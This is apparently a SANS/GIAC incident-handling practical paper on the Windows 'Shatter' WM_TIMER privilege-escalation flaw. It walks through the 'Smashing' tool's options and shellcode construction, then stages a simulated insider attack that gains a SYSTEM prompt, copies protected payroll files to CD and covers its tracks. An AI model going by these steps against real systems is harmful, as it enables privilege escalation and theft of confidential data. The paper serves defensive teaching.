Summary

Small organizations and companies face unique security challenges in the world. Without the financial resources and sometimes without trained security professionals, smaller companies sometimes lack the vision and foresight to protect against the simplest of security issues. The gaps in their protection can affect everything from the employee’s ability to do their job to the confidentiality of customer data. The reasons for this vary:

• The boss sees the “latest cool thing” and insists that it is implemented without thought given to the security of that item.
• The cost of securing infrastructure gets lost or de-emphasized when other pressing business concerns arise.
• The notion that “we are a small company (organization, whatever) so who would want to hack into us?” prevails, to the danger of all concerned.
• The “IT staff” is frequently one person serving in different roles, and there may be no one else in the company that can relate to the challenges facing the technical world.
• Staying up to date on technology through tradeshows, periodicals, and subscription services is not a priority on the calendar.

In this paper I am going to simulate a real-world situation, which I was recently brought in to evaluate. In the real-world situation, a company had “confidential” files, which had been distributed beyond their intended audience. Essentially, payroll files had become public knowledge among employees, and the company was spending thousands of dollars either in recruitment fees to replace exiting employees, or in raises that had not been budgeted for employees that remained. A friend at the company called me, trying to find the source of their distribution and prevent such access from happening again.

I will use the Incident Handling Process to address an attack. The investigative process of addressing the problem that the company had brought to light all of the “reasons” listed above, and this paper is going to illustrate that even in the smallest of companies or organizations, basic steps need to be taken to secure information and systems, and basic awareness needs to be taught to ensure a secure environment for all. These steps do not need to be costly.

Because of their non-existent security structure, recreation of the actual events was not possible, but simulation of one possible way that the files were accessed and distributed was pretty easy to piece together from the little data that was available. My lab environment is a near recreation of the company environment: a small office, with eighteen users on a small Windows network, with a Network Administrator who has some security awareness but no in-depth training. Using the “Shatter” exploit method, I will simulate an attack that could have led to the exposure that the company
experienced. There are many small companies, daycare centers, charities, and non-profits that operate with similar structures currently in place.

While there is often a lot of media coverage on remotely-exploitable vulnerabilities, worms, Trojans, viruses, and other “bad code”, the local exploit code, or code that can only be run once a user has access to a system, should be considered of equal import by most network administrators since much research gives credibility to the idea that company insiders are the greatest threat to corporate data. “Reports of actual incidents consistently show that insider attacks not only outnumber external attacks, but their damage costs victims even more.” (Skoudis, 2001)

Statement of Purpose

The intent of this attack is to simulate a malicious internal user, who with minimal resources can compromise the confidentiality and potentially the integrity of data, leaving in question the contents of files that remain in tact. Using “Smashing”, a coded tool which uses the “Shatter Attack” method as explained in the exploit section of this paper, I will perform privilege escalation and access files that are not intended for general distribution, and that I should not have accessed. For the security novice, privilege escalation, in general, refers to an end user’s (successful) attempt to elevate a “user” role to an “administrator” role. Roles in this example will refer to the user sign-in on a Windows system. To break it all out into plain English, I will log in as a basic user and access administrator-level or “privileged” files. I will copy the target files off the system and simulate unauthorized access and distribution of these files.

This type of attack was chosen to illustrate the dangers that exist in a basic user desktop when applications are unpatched, upgrades are not applied, and an untrusted user has insecure (higher privileged) applications running on the desktop. These dangers exist within organizations, regardless of whether they are connected to the Internet or even to an internal LAN. Interactive access to a machine is all that is needed if proper security measures are not followed. Interactive access can be achieved either through physical access at the console, or through remote tools such as PCAnywhere, Terminal Services, or DameWare Mini Remote Control.

The Exploit

“Shatter Attacks take advantage of Windows messages, the basis for the Windows operating system, not being authenticated. A queue accepts and distributes programmatic instructions destined for a given window based on handles and determines how to react to the messages.” (Cooper, 2002)

Introducing Shatter

The original “Shatter” attacks were released in August of 2002, and were called “Shatter” because it is an attempt to break Microsoft Windows, using Windows Messaging and WM_TIMER to achieve the end goal of privilege escalation. “Shatter
attack” became the accepted terminology used to describe “attacks against the 
Windows GUI environment that allow a user to inject code into another process through 
the use of windows messages.” (Moore, 2003)

To understand this vulnerability, the reader needs to understand that Windows provides 
a set of privileges to each user. When you log on to the computer, the system identifies 
who you are and what privileges you require. Administrators, for instance, may have 
rights to change the security policy of machines and read the event logs, while the 
typical end user may only have the ability to create files, and may be restricted from 
reading their logs. The programs that are called by the user typically inherit the 
privileges of the user. At the root of the vulnerability are processes on the desktop 
which run with elevated privileges, regardless of which user is utilizing the computer at 
the time. This is because while users may be restricted in their activities, some 
applications may require additional privileges to complete their tasks. A Host IDS 
system, for instance, needs to accomplish tasks that a typical end-user with perhaps e-
mail and word processing right may not require. The vulnerability results if an attacker 
can utilize the privileges owned by a system process.

This vulnerability is actually a remnant of sorts from 16-bit Windows days, when there 
was just one address space shared by everything on the desktop. When Windows 
moved to the 32-bit world, separate address spaces exist for each process. However, 
although address space is not shared, the underlying code does not validate or check 
whether the information being passed in the WM_TIMER message is correct. The 
source and destination of the messages being sent is not verified as to whether or not it 
comes from active valid applications. This vulnerability was discussed as early as 1997 
in articles about Windows NT. (Pietrek, 1997)

The Vulnerabilities within Event-Driven Systems

The “Shatter attack” is an exploit that makes use of vulnerabilities that are almost 
unavoidable in event driven systems. An event-driven system was defined in 1992 as 
“a system of objects which interact with each other using a message-passing 
mechanism.” (Berson, 1992). With this general description, the end user will bring to 
mind systems that he has worked with. Most are commonly familiar with GUI event-
driven systems such as Windows or Java Virtual Machine. To give a high-level 
overview of the problem with event-driven systems in general, we refer to a paper by 
Symeon Xenitellis, where he says: “In an event-driven system there is typically the 
facility for objects to send events to other objects. Often, there is no access control for 
this process, even when objects belong to different users, thus it is possible for an 
unprivileged user to send events to objects that belong to a privileged user.” (Xenitellis,

What does this mean to us? In a direct reflection of the above generic vulnerability 
description, consider Windows as our event-driven system. The facility that it uses to 
send events is windows messaging. However, the flaw in the messaging system of
windows is that any window can use procedures to send messages to any other window. Some of the Windows message receivers do not check to see if the message they received came from a valid application process.

In both of his papers on generic security vulnerabilities in event-driven systems, Xenitellis demonstrates the use of the WM_TIMER message to execute custom code. This is the same vulnerability that the shatter attack exploits. For more examples of the security issues present in event-driven systems, please refer to his work listed in the References section.

What Does This Attack Mean?

When “Shatter” first came to light, in generated a buzz in the newsgroups and a slight buzz in the media. Unfortunately for those who may not be security minded, the follow-up postings disagreed on whether or not this was even an issue, so for most people, it fell by the wayside. In articles evaluating the attack, claims were made similar to this one:

“Despite being around for well over a year, shatter attacks haven't been much of a real-world problem. Shatter attacks presume an intrusion of attack code on the system, or in other words, a hacker needs to already have an interactive attack program installed and executed on your system in order to begin his or her shatter attack. By the time they can do this, they probably don't need to do the shatter attack in order to have their way with the system, although it could be useful for privilege escalation at that time.” (Seltzer, 2003)

Reading these statements, and Microsoft’s statements that they originally posted in response to the vulnerability revelation (listed in the following paragraphs), the typical end user would believe this is a minor problem. But computer threats to large corporations and government agencies come from both inside and outside their electronic perimeters, according to recent studies. In the recent CSI report of Computer Crime, they list that “45% of respondents detected unauthorized access by insiders, ... with insider abuse of network access (80%) ... the most cited form of attack.” (CSI, 2003)

Given this statistic, how can any organization, large or small, ignore threats that “requires access?” In addition, given the possibility of remote access to a flawed system through Citrix or Terminal Services, remote exploit of this vulnerability is possible. Chris Paget says, in his FAQ regarding the “Shatter Attack” that “…physical access is NOT required, just a desktop. Terminal Services or Citrix both work perfectly, so ASPs based on either of those are in trouble.”

Microsoft itself downplayed this problem, citing “for the Shatter Attack to do any damage, an intruder must gain access to a user's system.”

http://www.progresstalk.com/archive/index.php/t-49872 Despite their original claims
that it is not a problem, or is a known issue, a patch was released, according to the bulletin, six months after the original Shatter code was posted. In addition, the Microsoft Security Bulletin claims that “...in addition to addressing this vulnerability, the patch also makes changes to several processes that run on the interactive desktop with high privileges. Although none of these would, in the absence of the WM_TIMER vulnerability, enable an attacker to gain privileges on the system, we have included them in the patch to make the services more robust.”

While first denying the problem, it makes changes to “several processes”. That’s interesting! However, their original position was one from a logical standpoint – it was based on one of their laws: If a bad guy can persuade you to run his program on your computer, it's not your computer anymore. (Microsoft’s Ten Immutable Laws)

Most security professionals will agree – if a bad guy can run his program on your computer, that’s a problem. But with e-mail attachments that can be executables, file sharing between networks, and the continued trend toward “openness” and the ability to quickly share information from wherever you are, it is no longer enough to assume perimeter protection will protect you. When you introduce the human factor into the equation, the results to the question “how secure are your systems?” becomes unpredictable. What if the end user has been taking courses at night and “just wants to try something?” What level of expectations can we realistically hold that a technically unsavvy CEOs will pick secure applications that follow all the laws of secure programming? This seems to be an unrealistic goal. The problem of the WM_TIMER issue is twofold:

1. It exists in Microsoft’s structure, they have created an API that allows for vulnerable software to be created
2. Developers of third party products are not delivering secure software, and they share equal responsibility for delivering software vulnerable to these documented issues.

The debate of who is at fault is not as relevant as the fact that although the issue and debate has died down, the problem has not gone away. Systems remain unpatched, people remain blind to the insider threat since it does not necessarily employ remote mechanisms, and what is more, patched systems may not be fixed.

A year after the Shatter code was released, Oliver Lavery writes a paper to show how the Shatter Attack is still a problem. In this paper he illustrates that while Microsoft has released a patch to fix the original flaw (in WM_TIMER), the underlying problem which exists in the basic messaging system, remains as released and untouched (Lavery, 2003: p.6) Applications that are developed to run with system privileges may not follow Microsoft's recommended security practices, and these applications would allow the vulnerability to be exploited. As he pointed out "'I think the point that many people have missed in the past is that this is not a single attack, it's a type of attack,' Lavery wrote in an e-mail interview. 'Taken alone, each instance of a shatter attack is a problem, but not a critical one. The fact that this type of hole is present in many applications, including parts of Windows itself, makes the problem much more serious.'" (Lemos, 2003)
Unless companies focus on the insider threat and plug the holes that require access to the box, they will not be secure, and neither will anyone’s information residing within those companies.

For full description of this vulnerability and exploit, refer to the following GIAC paper: GetAD exploit and the Insider. While this paper focuses on the GetAD exploit and how an insider uses it to provide remote access and information to an outsider, the paper you are reading now focuses on how that remote access and connection is not even necessary to potentially damage a company that is oblivious to the insider threat.

**Vulnerability/Exploit Details:**

**Classification:** Design Error – A failure in a program that results from conditions that were not planned for in its design

**Vulnerability Impact** – (Depends on the implementation.) Privilege Escalation, Code injection, possible buffer overflow

**Operating Systems** – Microsoft’s KnowledgeBase lists the following programs as vulnerable to the WM_TIMER issue. Depending on which variation of the “shatter attack” is used, this list may expand/contract. (i.e. the attack method used in XP Visual Styles is not possible in Windows NT). This list comes from Microsoft Knowledgebase Article 328310, and all of these are vulnerable to the underlying WM_TIMER issue that is used as the basis for the exploit in this paper.

- Microsoft Windows XP 64-Bit Edition SP1
- Microsoft Windows XP 64-Bit Edition
- Microsoft Windows XP Home Edition
- Microsoft Windows XP Home Edition SP1
- Microsoft Windows XP Professional
- Microsoft Windows XP Professional SP1
- Microsoft Windows 2000 Advanced Server
Protocols/Services/Applications:

The “Smashing” code can exploit any system that is vulnerable to the WM_TIMER issue. It has several ways of sending WM_TIMER messages, and two ways of injecting code into windows. This is an exploit affecting the Win32API, and more specifically it can take advantage of any program that uses these messages in a privileged state. Because of this, several applications are vulnerable, including: DameWare Mini Remote Control, McAfee VirusScan, VNC, and possibly different Windows of other applications. Remote connections to machines can be exploited if connecting through console logon, Terminal Services, or Citrix, but the code is considered a “local” exploit, meaning that the malicious user needs to have (interactive) access to the machine for the exploit to work.

Brief Description:

The original “shatter” attack used a function of Windows called WM_TIMER. This function has a flaw which can be described as follows...
“…A security vulnerability results because it’s possible for one process in the interactive desktop to use a WM_TIMER message to cause another process to execute a callback function at the address of its choice, even if the second process did not set a timer.” (CIAC, 2002)

There are several places that can be used to reference this vulnerability and why the vulnerability is a problem, here we quote Microsoft:

“By default, several of the processes that are running in the interactive desktop do so with LocalSystem privileges. As a result, an attacker who can log on to a system interactively can potentially run a program that would levy a WM_TIMER request upon such a process, causing it to take any action the attacker specified. In this scenario, the attacker can have complete control over the system.”

Microsoft Knowledge Base Article – 328310

The “Smashing” code takes the basic “shatter” exploit and packages it in a repeatable executable, which searches the system for an application or process vulnerable to the WM_TIMER issue and then proceeds to exploit the vulnerability. This tool can also be used to enumerate windows for research, as it will report all thread IDs and top-level window handles owned by different processes. Creative malicious users may use this for reconnaissance to research possible attacks on the system.

Variants:

Since the early release of “shatter” exploit code, additional exploits using the same method have been discovered in several different functions within Windows, including EM_SETWORDBREAKPROC, BCM_GETTEXTMARGIN and BCM_SETTEXTMARGIN, LVM_SORTITEMS, LVM_SORTITEMSEX. Possibly vulnerable messages (as referenced by Moore, 2003) EM_STREAMOUT, EM_STREAMIN, EM_SETHYPHENATEINFO, and TVM_SORTCHILDREN. He also references additional messages that can be used for overwriting of arbitrary memory locations.

References on variants of this exploit can be found in the “Additional references to related exploits” section.

Vulnerability References:

The code for “smashing” was found on the references for BlackHat 2003 http://www.blackhat.com/images/bh-media/tooldownload-sm.gif along with Chris Paget’s presentation “Exploits & Information about Shatter Attacks”

Additional References on the original Shatter vulnerability:

“Exploiting Design Flaws in the Win32 API for Privilege Escalation” whitepaper by Chris Paget (aka FOON) at http://security.tombom.co.uk/shatter.html

“Shatter attacks - more techniques, more detail, more juicy goodness” followup by Chris Paget (aka FOON) at http://security.tombom.co.uk/moreshatter.html

Additional references on general vulnerabilities in Event Driven systems, which includes information on the WM_TIMER issue:

How the exploit works

Summary

As we have discussed, Windows applications are event driven. The exploit within Smashing takes advantage if WM_TIMER or DefWindowProc(). (There are other messages that can be used as you will see in the Code section.) The Windows messages of these functions pass information to windows procedures. (For more information on Windows Procedures, please visit Microsoft’s library available from MSDN – the Microsoft Developer Network.) The Windows messages can be generated by system input or by applications – and as we have discussed, different processes can send messages to other processes within the desktop. The vulnerability will exist if processes on an interactive desktop are of higher privilege than the end user. These can be a third-party application (such as VirusScan), or a process from within Windows itself. (My experimentations with the code, for example, showed that when the “Welcome to Windows 2000” screen was implemented on different unpatched versions of Win2K, the system was vulnerable.) WM_TIMER is easily exploitable, since it is used to set the timer that determines when the callback function will be executed. If one application creates a specially-crafted message that sets the address of the callback function to their own needs and than sends a WM_TIMER message with that specially-crafted message to another application, that second process does not do any validity checking on the message, and assumes that it is supposed to execute that which is contained within the message.
Code unraveled

In this section I will walk through the code. In case you are not interested in looking at the code, I have summarized what the code is doing in this section, with the initial points being displayed according to the author’s “readme” that is attached to the code. Appendix A will give the code, with section headers that correspond with this explanation. This way, even the non-programmer can understand the exploit from the bottom level. Because the code is written with lots of calls within itself, I will describe what the exploit is doing in order, which may not necessarily appear in the code in the same order. In addition, the code is fairly well commented, so I only add pointers in the code itself to illustrate the walkthrough. My input is described in bold. (This would be any input that may change the outcome of the exploit)

1) Load the system with low (or no) privileges. I logged in as Guest on the target machine.
2) Smashing is run from the command prompt with the following parameters
   Smashing [options] <Command line>

OPTIONS within Smashing include the following:
• /i (Interactive) This option will tell Smashing to start the intended process in interactive mode. For instance, if you want to send cmd.exe, you will want it interactive so that you can then type commands into the Command shell.
• /t (Threads) This targets threads instead of processes and send the messages to threads with PostThreadMessages.
• /m (Message box) This option puts shellcode in the window caption of its own created message box.
• /e (Very verbose)
• /v (Verbose) This option will report back to the screen details about what it is doing and what it finds in processes and windows. (/v /v will also mimic /e above.)
• /p:PID (Process ID) Smashing will target the process ID entered (in decimal).
• /b (Brute force) Smashing will run through every process, both through windows and threads, until it is successful.
• /w (Windows) Smashing will call EnumWindows and target every window handle returned by the system.

for my attempts at exploits, I variously ran Smashing /w /v /v /i cmd.exe and Smashing /b /v /v /i cmd.exe

3) Smashing first determines the username and what privileges it currently has.
4) Smashing opens a named pipe within a separate thread handle.
5) Step 5 is the creation of basic shell code. The programmer defines header files and sets up programs and defines variables to make the exploit work. To break down the process of building the exploit, this will be explained in steps:
a. Create shell code. The shell code is 93 bytes in length. There are some null bytes in the code. At the moment, a graphical interpretation of the code might resemble this:

```
0 4 0000 8 21 0000 25 93
```

b. Allocate memory of 500000

c. Find Windows GetProcAddress and LoadLibrary – insert these values to the shell code. Insert the 4 byte address into the previous “null value” fields in the memory block.

```
0 4 8 21 25 93 0
```

d. Create a NOP block of ½ a meg. For non-programmers, this means he has created empty space in the program (through No Operation). This means that if the targeted system returns to any point within this “NOP block”, nothing will happen and the system will continue looking through the block until it finds the exploit code, which would essentially be the next instruction.

e. He then creates a tag at the beginning of the block for debugging purposes, and copies his 93 bytes of exploit at the end.

```
4 DEBUG TAG 499,996 499,992 499,998
```

f. The big unknown in the program is what Program the attacker will try to run. I was doing a fairly simple attack, all I wanted was a command shell returned. My Program Name, in this case, was essentially `cmd.exe`. Using this as the assumption, going forward the code would then insert the program name at the end of the shell code. As demonstrated below, this changes the size of the NOP block somewhat, but still gives enough of the empty space to ensure that a large chunk of address space will “slide” to the exploit code. The remainder of the explanation we will refer to this finished block as the “payload code”.

```
4 DEBUG TAG 499,899 499,992 499,998
```

6) Smashing enumerates the threads within each target process. (If you have selected /p:PID as an option, this will only be one process.) In our case, a large amount of processes were attacked.

7) Each thread has associated windows, and these are also enumerated. The program repeats this loop until all threads and windows are enumerated. This is done through the EnumThreadWindows function.

8) Payload code is sent to each window handle (through SetWindowsText())
9) Each window handle sees the Payload code and as a result receives the WM_TIMER messages with callbacks to other addresses.
10) Those callbacks, if they land within the NOP block of the memory address, will cause the targeted process to run the shellcode at the end of the payload.
11) The shellcode tells Smashing to load again with high privileges through ShellExecute().
12) The high-privileged instance of Smashing connects to the named pipe in #3 and receives parameters for operation.
13) The low-privileged instantiation of Smashing quits when it has passed its parameters on.
14) The high-privileged instantiation of Smashing looks at the parameters, and decides what it is supposed to do. It calls CreateProcess() accordingly.
15) If the process starts successfully, then the high-privileged Smashing quits too.

Windows Processes, functions, terms referenced above:

CreateProcess(): The CreateProcess function creates a new process and its primary thread.
ShellExecute(): Performs an operation on a specified file.
EnumThreadWindows: Enumerates all windows associated with a thread by passing the handle to each window, in turn, to an application-defined callback function. This process will continue until the last window is enumerated or the callback function returns FALSE.
GetProcAddress: Takes as parameters the DLL module handle (returned by either LoadLibrary, AfxLoadLibrary, or GetModuleHandle), and either the name of the function you want to call or the function's export ordinal.
LoadLibrary: Maps the specified executable module into the address space of the calling process.

How to Protect Against Shatter Attacks

While debate continues as to whether this kind of attack has effective protection to cover all circumstances, there are some things that can be done. Because the underlying vulnerability is the same as that in a GetAd exploit, these protections are the same or similar to those listed in “GetAd and the Insider”:

Patch the system

Microsoft has released several patches, depending on the type of system that you have. Refer to the following chart:
<table>
<thead>
<tr>
<th>System</th>
<th>Patch Name</th>
<th>Link</th>
</tr>
</thead>
</table>

**Assign permissions to processes**

Locking down cmd.exe and command.exe to only allow administrator access would alleviate the problem of users running command line tools such as the Shatter program.

Locking down systems to minimize the possibility for reconnaissance from within would help alleviate the insider threat issue, along with basic policies and procedures that are outlined in the Incident Handling portion of the paper.

**Monitoring System Usage**
The privilege escalation points of the Shatter and Smashing attacks may be detected by Host Intrusion Detection systems if they are configured to monitor usage by processes. For instance, a Host IDS may report a user logged on at the guest account if a process with elevated privileges is detected at the same time. While this is not prevention, it may lead to a rapid response in this situation. Log monitoring can be your friend. The Windows event log, if properly configured, can also help with early detection. However, everything being logged is only an effective measure if tools are in place to analyze those logs in a timely manner and detect anomalies.

**The Attack**

This section will describe how the attack theoretically took place. It will include a description of the environment (both victim and attacker) and will have information on the stages that the (theoretical) attacker took in order to accomplish their goal. For this section, keep in mind the goal of the attacker, which is to access and read (if possible, edit!) confidential salary information.

**The Environment**

**The Target Network**

Since I am replicating a theoretical “real world” scenario, I am going to describe the “real” environment, with pertinent information on the company. (Names have been changed to protect the innocent!)

StarStar is a small management company with overseas concerns. There are 11 employees in the office. The staff is made up of CEO, CFO, 3 Finance Staff, Sales/Marketing, Network Administrator, VP of Administration, Receptionist, and two assistants. The Assistant to the CEO also deals with the CEOs personal finance as well as Human Resource issues such as payroll, Paid Time Off, and recruiting practices. The receptionist fills in at the Assistant’s desk when the assistant is out on leave, but does not handle any of the HR items.

A similar exploit was covered in the practical [GetAD exploit and the Insider](#). Unlike the environment described in that paper, StarStar is on a tight budget. Security was an afterthought. They have been operating since Windows for Workgroups and were thrilled with what the technology had brought them so far. Because they are a privately held company, they operate on the notion that they are “too small to be hacked.” In addition, since their only connection to the Internet was through a single modem, they did not worry that much about the external attacks.

Their Cable Modem connects into an Instant Broadband™EtherFast®Cable/DSL Firewall Router with 4-Port Switch/VPN, which then connects to a hub which has all of the workstations connected to it. The only workstation connected directly on the router
is that of the Network Administrator. While the router has VPN (Virtual Private Network) and DMZ capabilities, these are not used. The website is hosted at the ISP, as are their e-mail accounts. The single policy on the firewall is “deny unless expressly permitted incoming traffic.”

The server is used simply for file and application sharing/backups/etc. Anything that should be backed up is placed there in protected user directories once a week. The Financial applications are shared through this server, too. The finance office has an additional analog modem that dials into various banks for the purpose of transferring funds. It is disconnected when not in use, and requires Smartcard access to the accounts when it is connected.

Most of the Desktops have the exact same configuration:

Windows 2000 Service Pack 3
McAfee VirusScan 7.0
Microsoft Office 2000 Professional
Outlook Express
QuickBooks Timer (for tracking time sheets)
WinZip 8.x
ESS-Code 7.8 (used in the decoding of e-mails)
Ghost

In addition, the finance controller machine has some banking software on it from various financial institutions, and the (Target) Assistant has ADP Payroll software loaded.

Although it is 2003, the last “major upgrade” of software/hardware took place just prior to 2000, in preparation for Y2K. Prior to that, the machines in the office were running Windows95. The machines are on a 5 year ROI schedule, and the company is determined to push them to the limit. They were built in a “white box” environment by consulting firm – these systems were popular at the end of the 1990s. The basic hardware specs were:

Genuine Intel Pentium 3 300 MHz system
CD Drive
Diskette Drive
96 Meg RAM

The file-sharing server had a 10 disk RAID array, and a tape backup unit running ArcServe attached to it. Because it is not used or even targeted with this attack, I am not going to further outline the system so as not to confuse the issue.

The basic network diagram can be found in Figure 1.
Figure 1 - Network Diagram
The Victim
Payroll files are in c:\ADP\xxx.xxx

Spreadsheets that track payroll amounts, raises, time off, hired/fired in a directory that is only accessible to administrators is in a folder called C:\Protected.

The CEO’s personal information is in similar spreadsheets that are in C:\CEOFiles that are only accessible by the Assistant’s account and the CEO’s account through Windows File Sharing.

Instead of the standard CD drive, the victim has a CD/RW drive. All of these confidential directories are backed up to CD through a local CD-RW drive once a week and given to the CEO for off-site storage. He does not want these files stored on the network server, because they are “too confidential”.

The Source
In the scenario we are recreating here, the source is the target, because it is an internal attack. How this is accomplished is explained in the next section: Staging the Attack.

The Source in this case is a disgruntled employee, who did not receive the raise they expected. Evaluating the insider threat within an organization may reveal similar situations of jealousy, bitterness, etc, Being aware that these situations may exist in the smallest of offices is the first step in securing the infrastructure from the insider threat.
**Staging the Attack**

In this section, I will take you through the (theoretical) steps that the attacker has taken. In actuality, the attack is very simple. The attack in this case is an Insider Threat, one that is intentional, but with non-destructive intent. In this case, while it is relatively easy to modify data in the target applications, the checks on the payroll system would not allow it to go through, so the belief of the company is that this was information gathering attack.

The insider scenario painted here is that I am playing the role of the receptionist. When the Assistant to the CEO goes on leave, I forward the switchboard to her desk, and sit there to be able to respond to the CEO’s needs. I can’t access things that aren’t allowed to the guest account, but I can access Quickbooks to enter my timesheet, and Microsoft office to provide support. I use my own Windows account.

**Reconnaissance**

For a network insider, an attack of this kind may not require any reconnaissance. Because all the machines are configured pretty much the same, I can explore vulnerabilities within standard-install applications on my own time. I can research them from home, download them at home, and never need any additional tools on the machine. By running some basic Google searches at home, I discover a vulnerability exists in the version of VirusScan we are running, perhaps even in the Windows version we are running. In addition, what is this program here? (see window with arrow below...)

I’m pretty friendly with the IT guy, so I ask him what that means. He tells me it is a “remote control” program – he uses it to install/upgrade programs on people’s desktops after they go home. Rather than walking computer to computer, he just logs in remotely. This icon is for Dameware Mini-Remote Control.

I can also check out the settings on my system by simply exploring my event viewer logs in Windows. What does it seem that we are auditing? Not much on my machine. Provided I don’t fail at anything, there won’t be much to log....
Scanning
What scanning? Where? Again, this is a step that may not be necessary if you are susceptible to the Insider Threat. Since I know as the receptionist that I have the opportunity every day at lunch and every month or two for much longer to sit at the target computer, I can just happily await my opportunity.

Exploiting the system
Today is the day I am going to access the payroll files. I don’t think I am being paid fairly, and my review was not very good, so I received no pay raise this year. I am fuming mad! I was talking with my boyfriend and complaining about how I am sure that I am not being paid on par with the other assistants. Last night, I had my boyfriend find my Smashing tool on the Internet. He showed me how it works and gave it to me on a CD.

1. I logon to the system.
2. I look around, and see C:\Protected. Oooh – what is that? I can’t access it – I get the following error.
3. That’s what I want, without a doubt. To make sure nobody sees my work, I start Excel so I have a screen to quickly switch to in case somebody comes in.

4. I have my “Smashing code” on CD. I insert my CD into the drive, and run cmd.exe by selecting Start, Run (as illustrated below) and typing my command.

5. This gives me a lovely “Command Prompt” – a screen that requires text input.

6. I type my command. In this case, my command is “Newsmashing”. It returns telling me the command line options I have.
Well, I am pretty sure there is something exploitable on the system. I think I want to attack Windows.

7. So I open the Windows I think are exploitable... Dameware, ESS-Code, QuickBooks Timer, VirusScan Console...
The ESS Windows, for instance, look like this (there is something interesting about to happen to this window):

8. I type my command, which looks like this:

```
D:\SANS\Newsmashing\Debug>newsmashing /w /i /v /v cmd.exe
```
9. Because I have specified the /v /v (VeryVerbose) mode, I get a return like this:

Window bruteforce switch specified
Interactive switch specified
Verbose specified
Very verbose specified
Command to send to pipe (24 bytes):

Command sent...
Window enumeration successful!
The command was sent successfully.
If it didn't work, you did something wrong - this program worked :)

10. And then my screen looks something like this:

![Image of screen showing system prompt]

Pay special attention to those ESS Windows – Oh! It looks like they have lost their captions! That's because my exploit resets Windows headers to 0.

11. Now I have a system prompt, so here is what I do....

**Keeping Access**

Provided I don’t close the window giving me the prompt, I maintain the access of this window – which in this case is “System”. (This is because you see system32>). So, I continue
12. at the prompt provided type:  `cd c:\Protected`

this will give me the prompt that follows:
`c:\Protected>`

13. Then I type `dir`

Where once I could not even see the files, I now have a list of what I want. These dated Excel spreadsheets are probably the payroll tracking – and maybe I want to see the other evaluations probably filed in that Reviews directory to see how mine compares.

14. I may not want to read them here. But I can’t make a writable CD from the command prompt. So I go to my desktop Windows Explorer (without closing my command prompt window!) and create a file at `c:\` called “my file”. I return to my command prompt window and I pop in a Writable CD to the drive then type `xcopy * c:\myfile /s /e /t`

This basic command tells the machine to copy all of the files and subdirectories that you see here, including the empty ones, and retain the directory structure to `c:\myfile`.

15. I then fire up my CD Writing application, select “Create Data Disk” and copy the myfile directory to the CD.

16. I take out my writable CD, and I am done! I can now peruse the files at my own leisure at home. I could have used e-mail to send them to myself, but that might be monitored on the network.

Total time to target: under 4 minutes. (This will vary depending on options set in Smashing and the type of CD burner employed. The main length of time to finish this scenario was the burning of the CD.)
Covering my Tracks:

It's a local system. I have not accessed anything over the network, I have only used local tools. I delete the C:\Myfile directory. I empty the recycle bin. I close my “targeted” window, and go back to working on the memo I'm supposed to be typing. There are very little tracks to cover!

I take the files home and start reviewing: not only am I not paid nearly what the other assistants make, the CEO's Administrative Assistant is paid twice what the other Assistant is paid. The Financial team's payscale also seems out of whack. Looking at the vacation sheets, I note that several people also get an extra week of vacation. I wonder if anyone knows this besides me?

The next day, I ask around. It turns out that very few of the “victims” who have less pay or less vacation knew that their situation was not on par with everyone else's. Now there seemed to be a lot of closed door meetings occurring with supervisors. I don't care, it's Friday, and I am going home.

The Incident Handling Process

Now the system has been compromised. What happens now? The incident handling process includes six phases – preparation, identification, containment, eradication, recovery and follow-up/lessons learned. Along the way, communication with the CEO will be a vital component of the investigation. In a case like this, where the primary incident handler is not a member of the company, the CEO and Network Administrator may make difficult decisions based on my recommendations. It is important that I stay calm, and can respond to their questions and concerns in a competent and collected manner. This will increase their confidence in the cycle and in their own decisions, so I must communicate clearly my positions, but in the end follow their instructions.

Phase 1: Preparation

The preparation phase of handling an incident is used to ensure that the company has the resources to properly respond to an incident. This may include things like warning banners, physical security, incident response plans, and patch rollout practices – anything that can help minimize risks within the organization. While the target organization in the example did not have much in the way of Incident Handling experience, there were some things that they DID do pretty well.

Policy

In late 1999, there were policies and procedures put in place for the operation of the computers and the network. Most of these policies and procedures were fairly generic, coming from templates and resources out of commercially available products:
Included as part of the policy is a Software Policy and Employee Agreement (protection against pirated software), a Electronic Messaging Policy (privacy for corporate messaging and appropriate use of electronic messaging system), a Acceptable Use/Ethics Policy (covers restraint in the consumption of shared resources, gaming, ethical and honest use of company property), and a banner that reminds the users every time they log into the system that the system is “strictly for business purposes” and that “the company retains the right to monitor the content of electronic transmission at random intervals.” In addition, the banner reminds that the information on the system itself may be recorded, read or disclosed for official purposes, and that access or use of the system constitutes consent to the banner. The banner is executed through a batch file in the startup process.

There is a password policy in place (which means that it is written down as part of the Information Policies), but no method of enforcement.

In addition, as part of a (somewhat old) attempt to educate end users, guidelines for employees were provided as part of the Personnel Policy and Handbook that is distributed to each employee, and for which each employee must sign as a term of their continued employment.

There was no official policy for handling computer incidents, other than notifying the CEO and Human Resources (in this case, the CEO’s assistant) in the event of breaches or “situations” involving employees. (In this case, they were following the “unwritten” policy which SANS teaches in class – don’t tell anyone anything!)

The physical security plan consisted of badge authentication into the building.

People

A computer network is only as secure as the people working on it. Background checks of employees consisted of calling the references that were provided during the interview process.

The “IT staff” consisted of the Network Administrator, whose duties included maintaining the Windows 2000 server, router, and firewall, as well as all the workstations for the company. He was the “jack of all trades” and maintained the phone systems as well as the copier and fax. In addition, he was the Point of Contact for the ISP, and was responsible for ensuring data integrity and availability through the backup schedule. He wears a pager all the time, serving in perpetual “on call” mode.
Data

The “critical network data” is backed up once a week on Saturday nights to tape. Tapes are in rotation with 5 tapes for each month — each month one tape goes into a safe deposit box and a new tape is entered into the rotation. Storage on-site is done within a fireproof safe. The weekly backups are full backups. There are no daily or incremental backups being done. It is the employee’s responsibility to copy to the server critical files that should be backed up every Friday. For most workstations, this is accomplished through a batch file that copies critical directories to a mapped networked drive.

All machines are connected to their own UPS, due to unpredictable power fluctuations in the area.

Standard system administration practices would include staying abreast of the latest patches for the systems in place. When inquiring about why they were still at SP3 instead of SP4 for Win2K, the answer was that it took too long to download over the shared modem, and that since everything worked well it wasn’t necessary.

Software/Hardware

A full system inventory of both hardware and software was last conducted about 6 months prior to the incident. The company used BSA’s GASP Audit Tool to help them in their inventories. This tool performs baseline inventories of hardware and peripherals, as well as software. Reports from this tool are imported and manipulated into spreadsheets for ongoing maintenance by the Network Administrator.

Communications

The company is small and located on one floor of a single building. In order to alleviate any network emergencies, a call tree was established in which the on-site employee could call the Network Administrator’s pager, who would then respond with a return call.

